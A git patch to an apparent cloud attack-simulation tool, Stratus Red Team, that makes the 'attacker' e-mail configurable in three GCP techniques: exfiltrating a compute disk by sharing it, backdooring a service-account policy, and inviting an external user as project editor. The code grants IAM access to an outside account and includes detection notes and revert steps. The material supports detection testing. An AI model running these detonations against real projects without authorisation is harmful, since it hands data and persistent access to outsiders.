From bb968657ea20e73928333df03b53613c89d68b4d Mon Sep 17 00:00:00 2001 From: Pepe Berba <6505743+pberba@users.noreply.github.com> Date: Thu, 27 Jul 2023 18:07:00 +1000 Subject: [PATCH] Allow customizing the attacker e-mail in gcp.exfiltration.share-compute-disk (#386) closes #385 --- .../exfiltration/share-compute-disk/main.go | 27 ++++++++++++++----- .../backdoor-service-account-policy/main.go | 19 ++++--------- .../persistence/invite-external-user/main.go | 22 ++++----------- v2/internal/utils/gcp/gcp_utils.go | 14 ++++++++++ 4 files changed, 45 insertions(+), 37 deletions(-) diff --git a/v2/internal/attacktechniques/gcp/exfiltration/share-compute-disk/main.go b/v2/internal/attacktechniques/gcp/exfiltration/share-compute-disk/main.go index f3b9fae9..36e884b1 100644 --- a/v2/internal/attacktechniques/gcp/exfiltration/share-compute-disk/main.go +++ b/v2/internal/attacktechniques/gcp/exfiltration/share-compute-disk/main.go @@ -8,6 +8,7 @@ import ( _ "embed" "fmt" + gcp_utils "github.com/datadog/stratus-red-team/v2/internal/utils/gcp" "github.com/datadog/stratus-red-team/v2/internal/providers" "github.com/datadog/stratus-red-team/v2/pkg/stratus" "github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack" @@ -16,8 +17,10 @@ import ( //go:embed main.tf var tf []byte +const codeBlock = "```" +const AttackTechniqueId = "gcp.exfiltration.share-compute-disk" + func init() { - const codeBlock = "```" stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{ ID: "gcp.exfiltration.share-compute-disk", FriendlyName: "Exfiltrate Compute Disk by sharing it", @@ -31,6 +34,17 @@ Warm-up: Detonation: - Set the IAM policy of the disk so that the attacker account has permissions to read the disk in their own project + +!!! note + + Since the target e-mail must exist for this attack simulation to work, Stratus Red Team grants the role to ` + gcp_utils.DefaultFictitiousAttackerEmail + ` by default. + This is a real Google account, owned by Stratus Red Team maintainers and that is not used for any other purpose than this attack simulation. However, you can override + this behavior by setting the environment variable ` + gcp_utils.AttackerEmailEnvVarKey + `, for instance: + + ` + codeBlock + `bash + export ` + gcp_utils.AttackerEmailEnvVarKey + `="your-own-gmail-account@gmail.com" + stratus detonate ` + AttackTechniqueId + ` + ` + codeBlock + ` `, Detection: ` You can detect when someone changes the IAM policy of a Compute Disk, using the GCP Admin Activity audit logs event v1.compute.disks.setIamPolicy. Here's a sample event, shortened for clarity: @@ -129,14 +143,14 @@ func detonate(params map[string]string, providers stratus.CloudProviders) error gcp := providers.GCP() diskName := params["disk_name"] zone := params["zone"] - attackerEmail := "christophe@somewhereinthe.cloud" + attackerPrincipal := gcp_utils.GetAttackerPrincipal() log.Println("Exfiltrating " + diskName + " by sharing it with a fictitious attacker") - err := shareDisk(gcp, diskName, zone, attackerEmail) + err := shareDisk(gcp, diskName, zone, attackerPrincipal) if err != nil { return fmt.Errorf("failed to share disk: %w", err) } - log.Println("Successfully shared disk with a fictitious attacker account " + attackerEmail) + log.Println("Successfully shared disk with a fictitious attacker account " + attackerPrincipal) return nil } @@ -154,7 +168,7 @@ func revert(params map[string]string, providers stratus.CloudProviders) error { return nil } -func shareDisk(gcp *providers.GCPProvider, diskName string, zone string, targetUser string) error { +func shareDisk(gcp *providers.GCPProvider, diskName string, zone string, targetPrincipal string) error { diskClient, err := compute.NewDisksRESTClient(context.Background(), gcp.Options()) if err != nil { return fmt.Errorf("unable to create compute client: %w", err) @@ -170,7 +184,7 @@ func shareDisk(gcp *providers.GCPProvider, diskName string, zone string, targetU Policy: &computepb.Policy{ Bindings: []*computepb.Binding{ { - Members: []string{"user:" + targetUser}, + Members: []string{targetPrincipal}, Role: &roleName, }, }, @@ -204,3 +218,4 @@ func unshareDisk(gcp *providers.GCPProvider, diskName string, zone string) error } return nil } + diff --git a/v2/internal/attacktechniques/gcp/persistence/backdoor-service-account-policy/main.go b/v2/internal/attacktechniques/gcp/persistence/backdoor-service-account-policy/main.go index 2af9aa1f..5c42a948 100644 --- a/v2/internal/attacktechniques/gcp/persistence/backdoor-service-account-policy/main.go +++ b/v2/internal/attacktechniques/gcp/persistence/backdoor-service-account-policy/main.go @@ -6,9 +6,8 @@ import ( "errors" "fmt" "log" - "os" - "strings" + gcp_utils "github.com/datadog/stratus-red-team/v2/internal/utils/gcp" "github.com/datadog/stratus-red-team/v2/pkg/stratus" "github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack" iam "google.golang.org/api/iam/v1" @@ -40,12 +39,12 @@ it's a resource-based policy that grants permissions to other identities to impe !!! info - Since the target e-mail must exist for this attack simulation to work, Stratus Red Team grants the role to ` + DefaultFictitiousAttackerEmail + ` by default. + Since the target e-mail must exist for this attack simulation to work, Stratus Red Team grants the role to ` + gcp_utils.DefaultFictitiousAttackerEmail + ` by default. This is a real Google account, owned by Stratus Red Team maintainers and that is not used for any other purpose than this attack simulation. However, you can override - this behavior by setting the environment variable ` + AttackerEmailEnvVarKey + `, for instance: + this behavior by setting the environment variable ` + gcp_utils.AttackerEmailEnvVarKey + `, for instance: ` + codeBlock + `bash - export ` + AttackerEmailEnvVarKey + `="your-own-gmail-account@gmail.com" + export ` + gcp_utils.AttackerEmailEnvVarKey + `="your-own-gmail-account@gmail.com" stratus detonate ` + AttackTechniqueId + ` ` + codeBlock + ` `, @@ -98,7 +97,7 @@ const AttackerEmailEnvVarKey = "STRATUS_RED_TEAM_ATTACKER_EMAIL" const RoleToGrant = "iam.serviceAccountTokenCreator" func detonate(params map[string]string, providers stratus.CloudProviders) error { - attackerPrincipal := getAttackerPrincipal() + attackerPrincipal := gcp_utils.GetAttackerPrincipal() policy := &iam.Policy{ Bindings: []*iam.Binding{ { @@ -142,11 +141,3 @@ func setServiceAccountPolicy(providers stratus.CloudProviders, saEmail string, s return nil } -func getAttackerPrincipal() string { - const UserPrefix = "user:" - if attackerEmail := os.Getenv(AttackerEmailEnvVarKey); attackerEmail != "" { - return UserPrefix + strings.ToLower(attackerEmail) - } else { - return UserPrefix + DefaultFictitiousAttackerEmail - } -} diff --git a/v2/internal/attacktechniques/gcp/persistence/invite-external-user/main.go b/v2/internal/attacktechniques/gcp/persistence/invite-external-user/main.go index cdccf410..7d8cd03b 100644 --- a/v2/internal/attacktechniques/gcp/persistence/invite-external-user/main.go +++ b/v2/internal/attacktechniques/gcp/persistence/invite-external-user/main.go @@ -6,8 +6,6 @@ import ( gcp_utils "github.com/datadog/stratus-red-team/v2/internal/utils/gcp" "github.com/datadog/stratus-red-team/v2/pkg/stratus" "github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack" - "os" - "strings" ) const AttackTechniqueId = "gcp.persistence.invite-external-user" @@ -28,12 +26,12 @@ Detonation: !!! note - Since the target e-mail must exist for this attack simulation to work, Stratus Red Team grants the role to ` + DefaultFictitiousAttackerEmail + ` by default. + Since the target e-mail must exist for this attack simulation to work, Stratus Red Team grants the role to ` + gcp_utils.DefaultFictitiousAttackerEmail + ` by default. This is a real Google account, owned by Stratus Red Team maintainers and that is not used for any other purpose than this attack simulation. However, you can override - this behavior by setting the environment variable ` + AttackerEmailEnvVarKey + `, for instance: + this behavior by setting the environment variable ` + gcp_utils.AttackerEmailEnvVarKey + `, for instance: ` + codeBlock + `bash - export ` + AttackerEmailEnvVarKey + `="your-own-gmail-account@gmail.com" + export ` + gcp_utils.AttackerEmailEnvVarKey + `="your-own-gmail-account@gmail.com" stratus detonate ` + AttackTechniqueId + ` ` + codeBlock + ` `, @@ -101,12 +99,10 @@ which cannot be done through the SetIamPolicy API call. In that case, an I }) } -const DefaultFictitiousAttackerEmail = "stratusredteam@gmail.com" -const AttackerEmailEnvVarKey = "STRATUS_RED_TEAM_ATTACKER_EMAIL" const RoleToGrant = "roles/editor" func detonate(_ map[string]string, providers stratus.CloudProviders) error { - attackerPrincipal := getAttackerPrincipal() + attackerPrincipal := gcp_utils.GetAttackerPrincipal() err := gcp_utils.GCPAssignProjectRole(providers.GCP(), attackerPrincipal, RoleToGrant) if err != nil { return fmt.Errorf("unable to assign %s to %s: %w", attackerPrincipal, RoleToGrant, err) @@ -115,7 +111,7 @@ func detonate(_ map[string]string, providers stratus.CloudProviders) error { } func revert(_ map[string]string, providers stratus.CloudProviders) error { - attackerPrincipal := getAttackerPrincipal() + attackerPrincipal := gcp_utils.GetAttackerPrincipal() err := gcp_utils.GCPUnassignProjectRole(providers.GCP(), attackerPrincipal, RoleToGrant) if err != nil { return fmt.Errorf("unable to assign %s to %s: %w", attackerPrincipal, RoleToGrant, err) @@ -123,11 +119,3 @@ func revert(_ map[string]string, providers stratus.CloudProviders) error { return nil } -func getAttackerPrincipal() string { - const UserPrefix = "user:" - if attackerEmail := os.Getenv(AttackerEmailEnvVarKey); attackerEmail != "" { - return UserPrefix + strings.ToLower(attackerEmail) - } else { - return UserPrefix + DefaultFictitiousAttackerEmail - } -} diff --git a/v2/internal/utils/gcp/gcp_utils.go b/v2/internal/utils/gcp/gcp_utils.go index c9bc4dc5..50c4b363 100644 --- a/v2/internal/utils/gcp/gcp_utils.go +++ b/v2/internal/utils/gcp/gcp_utils.go @@ -1,6 +1,8 @@ package gcp_utils import ( + "os" + "strings" "context" "errors" "fmt" @@ -91,3 +93,15 @@ func GCPUnassignProjectRole(gcp *providers.GCPProvider, principal string, roleTo // no reference to the principal in the project's IAM policy, we're good to go - nothing to do return nil } + +const DefaultFictitiousAttackerEmail = "stratusredteam@gmail.com" +const AttackerEmailEnvVarKey = "STRATUS_RED_TEAM_ATTACKER_EMAIL" + +func GetAttackerPrincipal() string { + const UserPrefix = "user:" + if attackerEmail := os.Getenv(AttackerEmailEnvVarKey); attackerEmail != "" { + return UserPrefix + strings.ToLower(attackerEmail) + } else { + return UserPrefix + DefaultFictitiousAttackerEmail + } +}